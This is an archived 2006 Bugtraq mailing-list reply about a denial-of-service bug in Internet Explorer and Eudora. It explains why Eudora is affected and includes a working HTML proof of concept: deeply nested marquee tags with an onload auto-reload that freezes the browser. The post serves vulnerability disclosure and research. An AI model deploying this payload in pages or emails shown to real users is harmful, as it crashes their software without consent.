bugtraq - RE: Fire fox dos exploit

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Message-ID: <1149677014.7815.92.camel@localhost.localdomain>
Date: Wed, 07 Jun 2006 12:43:34 +0200
From: Jaroslaw Sajko <sloik@...areal.net>
To: Sanjay Rawat <sanjayr@...oto.com>
Cc: andy@....uk.com, 'Josh Zlatin-Amishav' <josh@...s.co.il>,
	co296@....com, bugtraq@...urityfocus.com
Subject: RE: Fire fox dos exploit


Dnia 05-06-2006, pon o godzinie 09:19 +0530, Sanjay Rawat napisał(a):
> I have seen that the exploit also freezes Eudora 6.2.1.2. I was trying to 
> open the original mail in Eudora mail client and whenever I clicked on the 
> the mail , Eudora stopped responding anymore. I had to restart the application.
> 
> regards
> -Sanjay Rawat

Yes, it's because Eudora uses Internet_Explorer_Server component to
display the content of the email. And the previously mentioned DoS case
with the nested <marquee> tags concerns the Internet Explorer as well. 

If you want to trigger this DoS under the IExplorer you have to include
<style></style> tags in the two separate lines and you have to refresh
the page, only second page fetch freezes the browser. 

Tested on 6.0.2900.2180 XPSP2

Example is here:

--[cut]--

<html>
<head>
<style>
</style>
</head>
<body onload="javascript:window.location.reload(false)">
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</body>
</html>

--[/cut]-- 

regards,
Jarek Sajko